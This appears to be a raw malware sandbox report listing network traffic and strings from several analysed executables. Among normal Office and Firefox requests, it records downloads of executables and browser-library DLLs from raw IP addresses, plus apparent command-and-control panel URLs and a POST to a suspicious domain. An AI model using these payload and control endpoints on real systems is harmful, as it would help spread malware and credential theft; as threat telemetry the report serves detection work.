Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /GuidanceConnectors.exe HTTP/1.1Host: 150.241.91.218
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc
Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://.css
Source: 3f69cca2d1.exe, 0000001A.00000003.2811714142.0000000007A72000.00000004.00001000.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3052978861.0000000001523000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3058997364.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://150.241.91.218/GuidanceConnectors.exe
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000F8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://150.241.91.218/GuidanceConnectors.exeo
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeZ
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/rand
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/randI
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe.
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe4c6A
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe7661001
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe8b152
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe:
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeJ
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeR
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeYq_tYr_.
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec49e1
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec61395
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec61395d7
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exec61395d7f
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeeX
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exehp32S
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exep
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exephp~
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exeH
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp, 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp, 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllb
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllL
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllP
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll1
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll6
Source: file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllV
Source: file.exe, 00000000.00000002.2094836892.0000000001796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/O
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5
Source: file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD9
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpR
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2119676277.0000000023B92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpnS
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp9
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ta
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.20682
Source: file.exe, 00000000.00000002.2091184499.0000000000BA7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: file.exe, 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206h2S
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php)
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php:
Source: skotes.exe, 0000000D.00000002.3058997364.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ferences.SourceAumid02p
